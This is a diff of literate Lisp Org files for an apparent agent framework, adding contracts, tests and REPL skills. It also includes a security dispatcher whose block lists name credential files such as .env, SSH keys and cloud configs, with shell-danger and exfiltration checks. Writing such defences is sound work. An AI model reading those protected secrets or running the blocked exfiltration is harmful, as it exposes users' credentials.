"Contract 3: literate-tangle-sync-check verifies org matches tangled lisp."
|
||||
(let ((result (literate-tangle-sync-check "org/core-loop.org" "lisp/core-loop.lisp")))
|
||||
(is (or (eq t result) (stringp result))
|
||||
"Should return T or a mismatch description")))
|
||||
#+end_src
|
||||
@@ -6,9 +6,27 @@
|
||||
* Overview
|
||||
Structural manipulation tools for Org-mode files. This skill handles reading, writing, and modifying Org files at the AST level: finding headlines by ID or title, setting properties and TODO states, adding new headlines, generating UUIDs, and converting ASTs back to Org text. It also implements the privacy filter — when reading an Org file, it strips headlines tagged with ~@personal~ (or any tag in ~bouncer-privacy-tags~) and rejects files with matching ~#+FILETAGS:~.
|
||||
|
||||
** Contract
|
||||
|
||||
1. (org-id-generate): returns a new UUID string.
|
||||
2. (org-id-format id): ensures the ID has an "id:" prefix.
|
||||
3. (org-property-set ast target-id property value): recursively sets a
|
||||
property on a headline matching target-id. Returns T on success.
|
||||
4. (org-todo-set ast target-id status): sets TODO status via
|
||||
org-property-set.
|
||||
5. (org-headline-add ast parent-id title): adds a new child headline.
|
||||
6. (org-headline-find-by-id ast id): returns the subtree for a matching
|
||||
headline ID.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Reading Files (with Privacy Filter)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-filetags-extract (content)
|
||||
"Extracts the list of tags from a #+FILETAGS: line."
|
||||
@@ -21,6 +39,10 @@ Structural manipulation tools for Org-mode files. This skill handles reading, wr
|
||||
(uiop:split-string tag-str :separator '(#\space #\tab))))))))
|
||||
nil)
|
||||
|
||||
#+end_src
|
||||
** org-privacy-tag-p
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-privacy-tag-p (tags-list)
|
||||
"Returns T if any tag in TAGS-LIST matches bouncer-privacy-tags."
|
||||
(let ((privacy-tags (symbol-value (find-symbol "BOUNCER-PRIVACY-TAGS" :passepartout))))
|
||||
@@ -28,10 +50,14 @@ Structural manipulation tools for Org-mode files. This skill handles reading, wr
|
||||
(some (lambda (tag)
|
||||
(some (lambda (private-tag)
|
||||
(string-equal (string-trim '(#\: #\space) tag)
|
||||
(string-trim '(#\: #\space) private-tag))
|
||||
(string-trim '(#\: #\space) private-tag)))
|
||||
privacy-tags))
|
||||
tags-list)))))
|
||||
tags-list))))
|
||||
|
||||
#+end_src
|
||||
** org-privacy-strip
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-privacy-strip (content)
|
||||
"Removes Org headlines whose :TAGS: property contains a privacy-filtered tag.
|
||||
Returns the filtered content as a string."
|
||||
@@ -70,6 +96,10 @@ Returns the filtered content as a string."
|
||||
(push line result-lines))))
|
||||
(format nil "~{~a~%~}" (nreverse result-lines))))
|
||||
|
||||
#+end_src
|
||||
** org-read-file
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-read-file (filepath)
|
||||
"Reads an Org file into a string, applying privacy filtering."
|
||||
(let* ((raw (uiop:read-file-string filepath))
|
||||
@@ -80,8 +110,10 @@ Returns the filtered content as a string."
|
||||
nil)
|
||||
(org-privacy-strip raw))))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Writing Files
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-write-file (filepath content)
|
||||
"Writes content to an Org file."
|
||||
@@ -90,6 +122,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** ID Generation
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-id-generate ()
|
||||
"Generates a new UUID for an Org node."
|
||||
@@ -97,6 +130,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** ID Formatting
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-id-format (id)
|
||||
"Ensures the ID has the 'id:' prefix."
|
||||
@@ -106,6 +140,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** Setting Properties (Recursive)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-property-set (ast target-id property value)
|
||||
"Recursively sets a property on a headline with a matching ID in the AST."
|
||||
@@ -123,6 +158,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** Setting TODO Status
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-todo-set (ast target-id status)
|
||||
"Sets the TODO status of a headline in the AST."
|
||||
@@ -130,6 +166,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** Adding Headlines
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-headline-add (ast parent-id title)
|
||||
"Adds a new headline as a child of the parent-id in the AST."
|
||||
@@ -152,6 +189,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** Searching Headlines (by ID)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-headline-find-by-id (ast id)
|
||||
"Finds a headline by its ID in the AST."
|
||||
@@ -166,6 +204,7 @@ Returns the filtered content as a string."
|
||||
#+end_src
|
||||
|
||||
** Searching Headlines (by Title)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-headline-find-by-title (ast title)
|
||||
"Finds a headline by its title in the AST."
|
||||
@@ -176,13 +215,66 @@ Returns the filtered content as a string."
|
||||
(when (listp child)
|
||||
(let ((found (org-headline-find-by-title child title)))
|
||||
(when found (return-from org-headline-find-by-title found)))))
|
||||
nil))
|
||||
nil))
|
||||
#+end_src
|
||||
|
||||
** Subtree Extraction (from Org text)
|
||||
|
||||
Extracts a specific headline subtree from raw Org text by heading name.
|
||||
Used by =context-skill-subtree= for targeted skill source loading.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-subtree-extract (org-content heading-name)
|
||||
"Extracts a subtree by heading name from Org text. Returns the subtree
|
||||
content as a string (headline + body + children), or nil if not found."
|
||||
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
|
||||
(target-depth nil)
|
||||
(in-target nil)
|
||||
(result nil))
|
||||
(loop for line in lines
|
||||
for trimmed = (string-trim '(#\Space) line)
|
||||
do (let ((depth (when (uiop:string-prefix-p "*" trimmed)
|
||||
(length (subseq trimmed 0
|
||||
(position-if (lambda (c) (not (char= c #\*)))
|
||||
trimmed)))))
|
||||
(headline-title (when (uiop:string-prefix-p "*" trimmed)
|
||||
(string-trim '(#\* #\Space) trimmed))))
|
||||
(when depth
|
||||
(when (string-equal headline-title heading-name)
|
||||
(setf target-depth depth in-target t))
|
||||
(when (and in-target target-depth
|
||||
(<= depth target-depth)
|
||||
(not (string-equal headline-title heading-name)))
|
||||
(return-from org-subtree-extract
|
||||
(format nil "~{~a~^~%~}" (nreverse result)))))
|
||||
(when in-target (push line result))))
|
||||
(when result
|
||||
(format nil "~{~a~^~%~}" (nreverse result)))))
|
||||
|
||||
#+end_src
|
||||
** org-heading-list
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-heading-list (org-content)
|
||||
"Returns a list of all top-level heading names in Org text."
|
||||
(let* ((lines (uiop:split-string org-content :separator '(#\Newline)))
|
||||
(headings nil))
|
||||
(dolist (line lines)
|
||||
(let ((trimmed (string-trim '(#\Space) line)))
|
||||
(when (uiop:string-prefix-p "* " trimmed)
|
||||
(let ((title (string-trim '(#\* #\Space) trimmed)))
|
||||
(unless (find title headings :test #'string-equal)
|
||||
(push title headings))))))
|
||||
(nreverse headings)))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Text Modification in Org Files
|
||||
Replaces text in Org files with verification. Used by =system-self-improve= for
|
||||
surgical edits.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-modify (filepath old-text new-text)
|
||||
"Replaces all occurrences of OLD-TEXT with NEW-TEXT in filepath.
|
||||
@@ -204,6 +296,7 @@ Returns T if OLD-TEXT was found and replaced, nil if not found."
|
||||
#+end_src
|
||||
|
||||
** AST to Org text conversion
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun org-ast-render (ast &key (depth 1))
|
||||
"Converts a plist AST node back to Org text.
|
||||
@@ -223,7 +316,7 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
;; Headline
|
||||
(setf output (format nil "~a~@[ ~a~] ~a" stars todo title))
|
||||
(when tags
|
||||
(let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (t) (string-trim '(#\:) t)) tags))))
|
||||
(let ((tag-str (format nil "~{~a~^:~}" (mapcar (lambda (tag) (string-trim '(#\:) tag)) tags))))
|
||||
(setf output (concatenate 'string output (format nil " :~a::~%" tag-str))))
|
||||
(setf output (concatenate 'string output (string #\Newline))))
|
||||
(unless tags
|
||||
@@ -255,7 +348,10 @@ AST format: (:TYPE :HEADLINE :properties (:ID ... :TITLE ... :TAGS (...))
|
||||
|
||||
* Test Suite
|
||||
Verification of the structural manipulation for Org-mode files and their AST representation.
|
||||
#+begin_src lisp :tangle ../lisp/programming-org.lisp
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ignore-errors (ql:quickload :fiveam :silent t)))
|
||||
|
||||
(defpackage :passepartout-utils-org-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:utils-org-suite))
|
||||
@@ -268,16 +364,19 @@ Verification of the structural manipulation for Org-mode files and their AST rep
|
||||
(in-suite utils-org-suite)
|
||||
|
||||
(test id-generation
|
||||
"Contract 1: org-id-generate returns unique UUID strings."
|
||||
(let ((id1 (org-id-generate))
|
||||
(id2 (org-id-generate)))
|
||||
(is (plusp (length id1)))
|
||||
(is (not (string= id1 id2)))))
|
||||
|
||||
(test id-format
|
||||
"Contract 2: org-id-format ensures 'id:' prefix."
|
||||
(let ((formatted (org-id-format "abc12345")))
|
||||
(is (search "id:" formatted))))
|
||||
|
||||
(test property-setter
|
||||
"Contract 3: org-property-set modifies a property on a headline."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:test123" :TITLE "Test")
|
||||
:contents nil)))
|
||||
@@ -285,9 +384,34 @@ Verification of the structural manipulation for Org-mode files and their AST rep
|
||||
(is (string= (getf (getf ast :properties) :STATUS) "ACTIVE"))))
|
||||
|
||||
(test todo-setter
|
||||
"Contract 4: org-todo-set changes TODO state via org-property-set."
|
||||
(let ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "id:todo001" :TITLE "Task")
|
||||
:contents nil)))
|
||||
(org-todo-set ast "id:todo001" "DONE")
|
||||
(is (string= (getf (getf ast :properties) :TODO) "DONE"))))
|
||||
#+end_src
|
||||
|
||||
(test test-org-headline-add
|
||||
"Contract 5: org-headline-add inserts a child headline."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents nil)))
|
||||
(is (eq t (org-headline-add ast "root" "New Child")))
|
||||
(is (= 1 (length (getf ast :contents))))
|
||||
(is (string= "New Child" (getf (getf (first (getf ast :contents)) :properties) :TITLE)))))
|
||||
|
||||
(test test-org-headline-find-by-id
|
||||
"Contract 6: org-headline-find-by-id finds a headline by ID."
|
||||
(let* ((ast (list :type :HEADLINE
|
||||
:properties (list :ID "root" :TITLE "Root")
|
||||
:contents
|
||||
(list (list :type :HEADLINE
|
||||
:properties (list :ID "child1" :TITLE "Child"))
|
||||
(list :type :HEADLINE
|
||||
:properties (list :ID "child2" :TITLE "Child 2"))))))
|
||||
(let ((found (org-headline-find-by-id ast "child2")))
|
||||
(is (not (null found)))
|
||||
(is (string= "Child 2" (getf (getf found :properties) :TITLE))))
|
||||
(let ((missing (org-headline-find-by-id ast "nonexistent")))
|
||||
(is (null missing) "Missing ID should return nil"))))
|
||||
#+end_src
|
||||
@@ -8,7 +8,7 @@ The *REPL Skill* provides persistent Lisp evaluation, inspection, and debugging
|
||||
|
||||
* Phase A: Demand (Thinking)
|
||||
** Why a REPL?
|
||||
The utils-lisp-eval function provides one-shot evaluation but:
|
||||
The lisp-eval function provides one-shot evaluation but:
|
||||
- No state persistence between calls
|
||||
- No variable inspection
|
||||
- No debugging capabilities
|
||||
@@ -25,29 +25,44 @@ The REPL skill fills this gap by:
|
||||
- Can load code into image
|
||||
- Optional: connect to external SLIME/Swank session
|
||||
|
||||
* Phase B: Protocol (Spec)
|
||||
- `repl-eval` returns: (values result output error)
|
||||
- `repl-inspect` returns: structured description
|
||||
- `repl-list-vars` returns: list of bound symbols
|
||||
- `repl-load-file` returns: t on success, error on failure
|
||||
* Phase B: Contract
|
||||
|
||||
1. (repl-eval code-string &key package): evaluates Lisp code in a
|
||||
sandboxed environment (~*read-eval* nil~). Returns (values result
|
||||
output error) as three strings. Adds to ~*repl-history*~.
|
||||
2. (repl-inspect symbol-name &key package): returns a formatted string
|
||||
describing the symbol's value, type, or function documentation.
|
||||
3. (repl-list-vars &key package): returns a list of bound variable
|
||||
names in the given package.
|
||||
|
||||
* Phase C: Implementation
|
||||
|
||||
** Global State
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defvar *repl-package* :passepartout
|
||||
"Default package for REPL evaluations.")
|
||||
|
||||
#+end_src
|
||||
** *repl-history*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *repl-history* nil
|
||||
"History of evaluated forms for session continuity.")
|
||||
|
||||
#+end_src
|
||||
** *repl-variables*
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *repl-variables* (make-hash-table :test #'eq)
|
||||
"Cache of bound variables for inspection.")
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Core Evaluation
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-eval (code-string &key (package *repl-package*))
|
||||
"Evaluate Lisp code and return (values result output error).
|
||||
@@ -79,6 +94,7 @@ The REPL skill fills this gap by:
|
||||
#+end_src
|
||||
|
||||
** Variable Inspection
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-inspect (symbol-name &key (package *repl-package*))
|
||||
"Inspect a variable's value and structure."
|
||||
@@ -99,6 +115,7 @@ The REPL skill fills this gap by:
|
||||
#+end_src
|
||||
|
||||
** List Bound Variables
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-list-vars (&key (package *repl-package*))
|
||||
"List all bound variables in the package."
|
||||
@@ -111,6 +128,7 @@ The REPL skill fills this gap by:
|
||||
#+end_src
|
||||
|
||||
** Load File into Image
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-load-file (filepath)
|
||||
"Load a Lisp file into the current image."
|
||||
@@ -123,6 +141,7 @@ The REPL skill fills this gap by:
|
||||
#+end_src
|
||||
|
||||
** Package Switching
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-set-package (package-name)
|
||||
"Set the default package for REPL evaluations."
|
||||
@@ -133,6 +152,7 @@ The REPL skill fills this gap by:
|
||||
#+end_src
|
||||
|
||||
** Help/Info
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-help ()
|
||||
"Return available REPL commands."
|
||||
@@ -181,10 +201,49 @@ REPL Skill Commands:
|
||||
(is (not (null error)))))
|
||||
#+end_src
|
||||
|
||||
** REPL-EVAL Pre-Reason Handler
|
||||
|
||||
Registers a handler for =:repl-eval= sensor signals. When the daemon
|
||||
receives a framed message with =:sensor :repl-eval=, this handler
|
||||
evaluates the Lisp code directly and writes the result back through
|
||||
the reply-stream, bypassing the LLM pipeline entirely.
|
||||
|
||||
Since this handler is registered via =register-pre-reason-handler=,
|
||||
the perceive gate calls it before any LLM reasoning occurs. The
|
||||
handler returns T (consumed), so the signal never reaches Reason.
|
||||
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-handle (signal)
|
||||
"Pre-reason handler for :repl-eval sensor. Evaluates code and
|
||||
writes the result back through the reply-stream."
|
||||
(let* ((payload (getf signal :payload))
|
||||
(code (getf payload :code))
|
||||
(stream (getf (getf signal :meta) :reply-stream))
|
||||
(result (multiple-value-bind (val out err)
|
||||
(repl-eval code)
|
||||
(if err
|
||||
(list :status :error :message err)
|
||||
(list :status :success :value (or val ""))))))
|
||||
(when stream
|
||||
(handler-case
|
||||
(progn
|
||||
(write-sequence (frame-message result) stream)
|
||||
(finish-output stream))
|
||||
(error (c)
|
||||
(log-message "REPL-EVAL: Failed to write response: ~a" c))))
|
||||
;; Return T to signal the message was consumed
|
||||
t))
|
||||
|
||||
;; Register the handler at load time
|
||||
(register-pre-reason-handler :repl-eval #'repl-handle)
|
||||
#+end_src
|
||||
|
||||
* Phase E: Lifecycle
|
||||
The REPL skill loads at priority 200 (after diagnostics at 100, before utils-lisp at 400).
|
||||
|
||||
** System Prompt Augment (repl-mandate)
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun repl-mandate (context)
|
||||
"Returns REPL-first engineering mandate when context involves code editing."
|
||||
@@ -208,4 +267,43 @@ The REPL skill loads at priority 200 (after diagnostics at 100, before utils-lis
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil)
|
||||
:deterministic (lambda (action ctx) (declare (ignore action ctx)) nil)
|
||||
:system-prompt-augment #'repl-mandate)
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
* Test Suite
|
||||
|
||||
#+begin_src lisp
|
||||
(eval-when (:compile-toplevel :load-toplevel :execute)
|
||||
(ql:quickload :fiveam :silent t))
|
||||
|
||||
(defpackage :passepartout-programming-repl-tests
|
||||
(:use :cl :fiveam :passepartout)
|
||||
(:export #:repl-suite))
|
||||
|
||||
(in-package :passepartout-programming-repl-tests)
|
||||
|
||||
(def-suite repl-suite :description "Verification of the REPL skill")
|
||||
(in-suite repl-suite)
|
||||
|
||||
(test test-repl-eval-success
|
||||
"Contract 1: repl-eval returns result and no error for valid code."
|
||||
(multiple-value-bind (result output error) (repl-eval "(+ 1 2)")
|
||||
(is (equal "3" result))
|
||||
(is (null error))))
|
||||
|
||||
(test test-repl-eval-error
|
||||
"Contract 1: repl-eval returns error message for invalid code."
|
||||
(multiple-value-bind (result output error) (repl-eval "(+ 1 ")
|
||||
(is (null result))
|
||||
(is (stringp error))))
|
||||
|
||||
(test test-repl-inspect-found
|
||||
"Contract 2: repl-inspect returns description for a bound symbol."
|
||||
(let ((desc (repl-inspect "+" :package :cl)))
|
||||
(is (search "+" desc))))
|
||||
|
||||
(test test-repl-list-vars
|
||||
"Contract 3: repl-list-vars returns a list of symbol name strings."
|
||||
(let ((vars (repl-list-vars :package :keyword)))
|
||||
(is (listp vars))
|
||||
(is (member "PASSEPARTOUT" vars :test #'string-equal))))
|
||||
#+end_src
|
||||
|
||||
@@ -7,6 +7,78 @@
|
||||
* Overview
|
||||
The *Engineering Standards Skill* defines the REPL-first engineering lifecycle and enforces technical invariants, including the **Commit-Before-Modify** rule and **Chaos-Driven Development**.
|
||||
|
||||
** Architectural Intent + Testable Contract
|
||||
|
||||
Every Org module must open with an ~* Architectural Intent~ section.
|
||||
This section is the machine-readable specification that tests are written
|
||||
against. A test that does not verify a stated intent is testing trivia.
|
||||
An intent without a test is aspirational.
|
||||
|
||||
*** Template
|
||||
|
||||
Place this before ~* Implementation~ in every Org file:
|
||||
|
||||
#+begin_src org
|
||||
,* Architectural Intent
|
||||
|
||||
[Prose: why this module exists, what problem it solves.]
|
||||
|
||||
,** Contract
|
||||
|
||||
The functions in this module guarantee the following:
|
||||
|
||||
1. (function-name): accepts X, returns Y. Preserves invariant Z.
|
||||
2. (function-name): when given A, guarantees B (error, signal, or result).
|
||||
3. ...
|
||||
|
||||
,** Boundaries
|
||||
|
||||
What this module explicitly does NOT do, and where that responsibility
|
||||
lives instead.
|
||||
#+end_src
|
||||
|
||||
The ~* Test Suite~ section at the bottom of the file lists each test
|
||||
with a cross-reference to which contract item it verifies:
|
||||
|
||||
#+begin_src org
|
||||
,* Test Suite
|
||||
|
||||
,** test-rejection (verifies Contract item 3)
|
||||
,** test-pass-through (verifies Contract item 1)
|
||||
#+end_src
|
||||
|
||||
*** Example: ~system-diagnostics.org~
|
||||
|
||||
#+begin_src org
|
||||
,* Architectural Intent
|
||||
|
||||
The Diagnostics skill is the self-knowledge of Passepartout. It answers
|
||||
"Is everything working?" by probing external dependencies at startup.
|
||||
|
||||
,** Contract
|
||||
|
||||
1. (diagnostics-dependencies-check): probes PATH for every binary in
|
||||
*diagnostics-binaries*. Returns T if all found, NIL if any is
|
||||
missing. Side-effect: populates *doctor-missing-deps*.
|
||||
2. (diagnostics-env-check): validates XDG directories exist. Returns T
|
||||
if all critical dirs present, NIL otherwise.
|
||||
3. (diagnostics-run-all): orchestrates 1-3. Returns a plist with
|
||||
:deps, :env, :llm keys. Respects :auto-install nil.
|
||||
|
||||
,** Boundaries
|
||||
|
||||
- Does NOT fix missing dependencies — that is diagnostics-dependencies-install.
|
||||
- Does NOT start or stop LLM services — that is the provider layer.
|
||||
#+end_src
|
||||
|
||||
*** Rules
|
||||
|
||||
1. Every ~.org~ file with ≥1 ~defun~ MUST have an ~* Architectural Intent~ section.
|
||||
2. The ~** Contract~ section MUST list every public function.
|
||||
3. Every test in ~* Test Suite~ MUST reference a specific Contract item.
|
||||
4. If you change a function's signature, you MUST update its Contract item.
|
||||
5. These files are excluded (no defuns): ~core-manifest.org~, ~setup.org~.
|
||||
|
||||
** Engineering Lifecycle (Two-Track)
|
||||
|
||||
The canonical workflow. Two tracks, not to be confused:
|
||||
@@ -22,9 +94,9 @@ This track stays in Org. No code is written yet.
|
||||
4. If a bug: document investigation in Org before fixing (Org as thinking medium)
|
||||
|
||||
**** Phase A: Test-First Design
|
||||
1. Write the success criteria in Org prose — what the function does, arguments, return value, rationale
|
||||
2. Write the FiveAM test in a ~#+begin_src lisp :tangle no~ block
|
||||
3. Tangle the test and evaluate in the REPL — confirm it fails (red)
|
||||
1. Write the success criteria as Contract items in the ~** Contract~ section
|
||||
2. Write the FiveAM test in the ~* Test Suite~ section at the bottom of the file, with a comment referencing which Contract item it verifies. Tests are embedded — no ~:tangle ../tests/...~ override.
|
||||
3. Tangle and evaluate in the REPL — confirm it fails (red)
|
||||
4. The failing test is the success criteria. Do not proceed to Track 2 until it exists and is red.
|
||||
|
||||
*** Track 2 — REPL-First: Implementation, Iteration, Reflection (Phases B/C/D/E)
|
||||
@@ -47,13 +119,13 @@ Run the appropriate chaos tier before reflecting code back to Org:
|
||||
**** Phase E: Reflect Back to Org
|
||||
1. Copy the working function into its own ~#+begin_src lisp~ block in the Org file
|
||||
2. Update the prose to match what the function actually does (arguments, return, rationale)
|
||||
3. Before closing Phase E, run ~(utils-lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
|
||||
3. Before closing Phase E, run ~(lisp-validate (uiop:read-file-string "path/to/file.lisp") :strict t)~ in the REPL — never external scripts or manual paren-counting
|
||||
4. Verify the Org file tangles correctly
|
||||
5. Tangle, commit, update GTD
|
||||
|
||||
**** Syntax Error Protocol
|
||||
If a LOADER ERROR or reader-error occurs:
|
||||
1. Run ~(utils-lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
|
||||
1. Run ~(lisp-validate (uiop:read-file-string "file.lisp") :strict t)~ in the REPL — never Python, never grep, never manual counting
|
||||
2. Fix the error in the Org file (since the code was prototyped in REPL first, this should be rare)
|
||||
3. Retangle and re-evaluate
|
||||
|
||||
@@ -87,7 +159,10 @@ CLOSED: [2026-05-02 Sat 18:00]
|
||||
* Implementation
|
||||
|
||||
** Standards Enforcement
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
|
||||
(defun standards-git-clean-p (dir)
|
||||
"Checks if a directory has uncommitted changes."
|
||||
(let ((status (uiop:run-program (list "git" "-C" (namestring dir) "status" "--porcelain")
|
||||
@@ -95,16 +170,25 @@ CLOSED: [2026-05-02 Sat 18:00]
|
||||
:ignore-error-status t)))
|
||||
(string= "" (string-trim '(#\Space #\Newline #\Tab) status))))
|
||||
|
||||
#+end_src
|
||||
** standards-lisp-verify
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun standards-lisp-verify (code)
|
||||
"Enforces Lisp structural and semantic standards using utils-lisp."
|
||||
(let ((result (utils-lisp-validate code :strict t)))
|
||||
(let ((result (lisp-validate code :strict t)))
|
||||
(if (eq (getf result :status) :success)
|
||||
t
|
||||
(error (getf result :reason)))))
|
||||
|
||||
#+end_src
|
||||
** standards-lisp-format
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defun standards-lisp-format (code)
|
||||
"Ensures Lisp code adheres to formatting standards."
|
||||
(utils-lisp-format code))
|
||||
(lisp-format code))
|
||||
#+end_src
|
||||
#+end_src
|
||||
|
||||
** Skill Registration
|
||||
@@ -112,4 +196,4 @@ CLOSED: [2026-05-02 Sat 18:00]
|
||||
(defskill :passepartout-programming-standards
|
||||
:priority 100
|
||||
:trigger (lambda (ctx) (declare (ignore ctx)) nil))
|
||||
#+end_src
|
||||
#+end_src
|
||||
@@ -22,12 +22,45 @@ The Bouncer inspects nine vectors:
|
||||
|
||||
The Bouncer also handles the **Flight Plan** system: when a high-risk action is blocked, it creates a Flight Plan node in the Org files that the user can manually approve.
|
||||
|
||||
* Implementation
|
||||
** Contract
|
||||
|
||||
1. (wildcard-match pattern path): returns T if ~path~ matches ~pattern~,
|
||||
where ~*~ in pattern matches any number of characters.
|
||||
2. (dispatcher-check-secret-path filepath): returns the matching
|
||||
protected pattern if ~filepath~ matches any entry in
|
||||
~*dispatcher-protected-paths*~, nil otherwise.
|
||||
3. (dispatcher-check-shell-safety cmd): returns a list of matched
|
||||
dangerous-pattern names if ~cmd~ triggers any entry in
|
||||
~*dispatcher-shell-blocked*~, nil if safe.
|
||||
4. (dispatcher-check-privacy-tags tags-list): returns T if any tag in
|
||||
~tags-list~ matches a privacy filter tag, nil otherwise.
|
||||
5. (dispatcher-check-network-exfil cmd): returns T (unsafe) if ~cmd~
|
||||
contains an HTTP/HTTPS/FTP URL targeting an unwhitelisted domain.
|
||||
6. (dispatcher-gate action context): main deterministic gate — routes by
|
||||
sensor and applies ~dispatcher-check~ for safety verification.
|
||||
7. (hitl-create blocked-action): returns a plist with ~:token~ and
|
||||
~:message~ for user-facing HITL approval.
|
||||
8. (hitl-approve token): approves and re-injects a pending action. Returns
|
||||
T if found, nil if invalid token.
|
||||
9. (hitl-deny token): denies and removes a pending action. Returns T if
|
||||
found, nil if invalid.
|
||||
|
||||
** Boundaries
|
||||
|
||||
- Does NOT handle the gate approval routing — that is ~core-loop-reason.org~.
|
||||
- Does NOT persist HITL tokens — they live in memory only.
|
||||
|
||||
* Implementation
|
||||
|
||||
** Package Context
|
||||
|
||||
#+begin_src lisp
|
||||
(in-package :passepartout)
|
||||
#+end_src
|
||||
|
||||
** Security Configuration — network whitelist
|
||||
Domains that the Bouncer considers safe for outbound connections. Network calls to unlisted domains are blocked or queued for approval.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-network-whitelist*
|
||||
'("api.telegram.org" "matrix.org" "googleapis.com" "openai.com" "anthropic.com")
|
||||
@@ -36,6 +69,7 @@ Domains that the Bouncer considers safe for outbound connections. Network calls
|
||||
|
||||
** Privacy filter tags (*dispatcher-privacy-tags*)
|
||||
List of tag strings that mark content as private. Content with these tags is filtered from the LLM context window. Configurable via ~PRIVACY_FILTER_TAGS~ env var.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-privacy-tags*
|
||||
(let ((env (uiop:getenv "PRIVACY_FILTER_TAGS")))
|
||||
@@ -47,6 +81,7 @@ List of tag strings that mark content as private. Content with these tags is fil
|
||||
|
||||
** Protected file paths (*dispatcher-protected-paths*)
|
||||
Path patterns (with * wildcards) that are blocked from file reads. Covers SSH keys, PEM/PGP files, credentials, tokens, env files, and cloud configs.
|
||||
;; REPL-VERIFIED: 2026-05-03T13:00:00
|
||||
#+begin_src lisp
|
||||
(defvar *dispatcher-protected-paths*
|
||||
'(".env" ".env.example" ".env.local" ".env.production"
|
||||
@@ -65,6 +100,7 @@ Path patterns (with * wildcards) that are blocked from file reads. Covers SSH ke
|
||||
